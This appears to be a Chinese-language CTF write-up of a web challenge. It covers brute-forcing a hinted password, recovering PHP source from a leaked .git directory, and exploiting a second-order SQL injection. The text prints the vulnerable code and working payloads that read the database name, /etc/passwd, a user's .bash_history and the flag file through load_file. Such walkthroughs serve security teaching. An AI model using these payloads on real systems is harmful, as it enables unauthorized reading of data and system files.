打开页面信息不多 点击发帖
跳转到登录页面
这里进行爆破 账号密码已经给了提示 zhangwei zhangwei***
***肯定是数字 不然排列组合过大
爆破出 密码为zhangwei666
登录就可以发帖了 但是这里正常的一些方法都不行
没思路的时候可以扫目录看看 但是这里控制台有个提示 也是后来我才发现的
这里就知道.git泄露了
但是如果没看到提示时可以使用ctf-wscan进行扫目录 注意python版本 python3的版本
ctf-wscan github上有 大家自己搜索即可
可以扫出.git泄露 这些脚本大家自行搜索即可 这题的源码也会放在后面
.git泄露基本都使用脚本很少手工 git恢复源码 进行代码审计
注意 使用两个脚本时的py版本
这里恢复出的代码给到大家
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
进行代码审计
重要的部分如下
这里注意转义符的概念
我们注册一个用户名为admin’# 虽然服务端做了转义为admin\’# 但是 数据库中的用户名还是admin’# 不会是admin\’# 如果是后者 admin‘# 这个用户将永远登不成功了 所以从数据库拿出的时候还是我们输入的值 这样就构造出了下面我们需要打入的payload
我们将sql语句单独拎出分析 构造exp
既然是注入 那么精髓就是闭合
由于sql语句为换行 #注释也只能注释当前行 所以使用/**/进行换行拼接注释 category和comment为我们进行控制的点 在这两点上进行输入payload
方框中的代码就是我们需要注入的 达到闭合
接下来开始
在发表处输入',content = database(),/* 展示数据库 再进入留言板处输入 */-- - 进行闭合 将database带出
成功出现数据库
后面就按照这样 发表处输入exp 然后进入留言板输入exp进行闭合 达到注入 # -- -都可
读取etc/passwd 查看用户信息 这里需要些脑洞 不然的确不知道该看什么信息
主要是思路的拓宽
',content=(select( load_file('/etc/passwd'))),/* 读取etc/passwd
发现存在www用户 对其进行查看分析 查看history命令
',content=(select( load_file('/home/www/.bash_history'))),/* 查看历史命令
可以查看页面源代码查看 更清晰
分析历史命令得知 在/tmp/html下有个.DS_Store文件
',content=(select hex(load_file('/tmp/html/.DS_Store'))),/* 读取文件
进行hex解码 得到一个文件 flag_8946e1ff1ee3e40f.php 这里解码出来有点乱 大家仔细看
使用hex编码可以避开一些问题
对其进行读取即可 所以最终payload如下
',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*